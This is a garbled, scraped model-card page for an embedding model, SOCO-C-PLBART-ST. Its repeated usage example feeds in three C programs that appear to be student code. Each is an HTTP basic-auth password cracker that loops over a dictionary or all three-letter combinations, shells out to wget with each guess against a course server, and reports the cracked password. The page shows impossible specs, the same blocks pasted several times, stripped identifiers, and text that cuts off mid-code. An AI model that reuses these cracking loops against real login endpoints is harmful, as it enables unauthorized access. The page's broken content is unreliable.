SOCO-C-PLBART-ST

3
—
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
3 downloads
Early-stage
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Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary

SentenceTransformer based on uclanlp/plbart-java-cs This is a sentence-transformers model finetuned from uclanlp/plbart-java-cs.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\tnewNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Unable  allocate %d btyes memory\\n", sizeof(Node));\n\t\treturn NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tprintf("\\n%s", iter->str);\n\t\titer = iter->next;\n\t}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\tchar str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, "r");\n\n\tif (fp)\n\t{\n\t\tprintf("\\nLoading dictionary file...\\n");\n\t\twhile(fgets(str, 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == \'\\n\')\n\t\t\t{\n\t\t\t\tstr[strlen(str)-1] = \'\\0\';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf("total %d\\n", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, "\\nError: Cannot  dictionary file\\n");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[3000] = "";\n\tstruct stat fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", \n\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat("dictTemp", &fileInfo); \n\t\n\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\twhile (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf("\\nPassword found: %s", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0; i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9742, 0.9676],
#         [0.9742, 1.0000, 0.9571],
#         [0.9676, 0.9571, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST")
# Run inference
sentences = [
    '\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n   FILE *fptr;\n   char pass[257];\n   char send[100],path[50];\n   int res,count=0;\n   int startTime, stopTime, final;\n   startTime = time();\n   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n   \n      while(1) {\n         fgets(pass,256,fptr);\n         if(pass == NULL) exit(1);\n         if(pass[3]==\'\\n\') {\n            pass[3]=\'\\0\';\n\t    send[0]=\'\\0\';\n\t    strcpy(send,"wget --http-user= --http-passwd=");\n \t    strcat(send,pass);\n\t    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t    count++;\n\t    if((res=(system(send)) == 0)) {\n\t       fclose(fptr);\n\t       stopTime = time();\n               final = stopTime-startTime;\n\t       printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\\n",pass,(double)final/OneBillion,count);\n\t       exit(1);\n\t    }\n         }\n      }\n   }\n   printf("\\nFILE CANNOT  OPENED\\n");\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    int pass,count=0;\n    char arr[52] ={\'A\',\'a\',\'B\',\'b\',\'C\',\'c\',\'D\',\'d\',\'E\',\'e\',\'F\',\'f\',\'G\',\'g\',\'H\',\'h\',\'I\',\'i\',\'J\',\'j\',\'K\',\'k\',\'L\',\'l\',\'M\',\'m\',\'N\',\'n\',\'O\',\'o\',\'P\',\'p\',\'Q\',\'q\',\'R\',\'r\',\'S\',\'s\',\'T\',\'t\',\'U\',\'u\',\'V\',\'v\',\'W\',\'w\',\'X\',\'x\',\'Y\',\'y\',\'Z\',\'z\'};\n    char [4];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n   for (i=0;i<=52;i++)\n   {\n\n     for (j=0;j<=52;j++)\n       {\n\n\tfor(k=0;k<=52;k++)\n\n\t  { \n\t     count++;\n             [0] = arr[i];\n\t     [1] = arr[j];\n\t     [2] = arr[k];\n\t     [3] = \'\\0\';\n\n\n\t     printf("Checking for the word :%s\\n",);\n\t     strcpy(url1 ,"wget --http-user= --http-passwd=");\n\t     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");\n\t     strcat(url1,);\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t     if (pass == 0)\n\t     {   \n                printf("Success\\n");\n\t\tprintf("Number of attempts = %d\\n",count);\n\t        stopTime = time();\n\n                final = stopTime-startTime;\n\t\tprintf("The password for the user  : %s\\n",); \n                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \\n",final,(double)final/OneBillion);\n\t        \n\t\texit(1);}\n\n\n\t      }\n        }\n\n   }\n }\n\n\n',
    '\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\n#define USERNAME ""\n#define URL "sec-crack.cs.rmit.edu./SEC/2"\n#define TEST_URL "yallara.cs.rmit.edu./~/secure"\n#define MAX_PASSWD_LEN 3\n\n#define DICT_FILE "/usr/share/lib/dict/words"\n#define TRUE 1\n#define FALSE 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\nvoid runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid 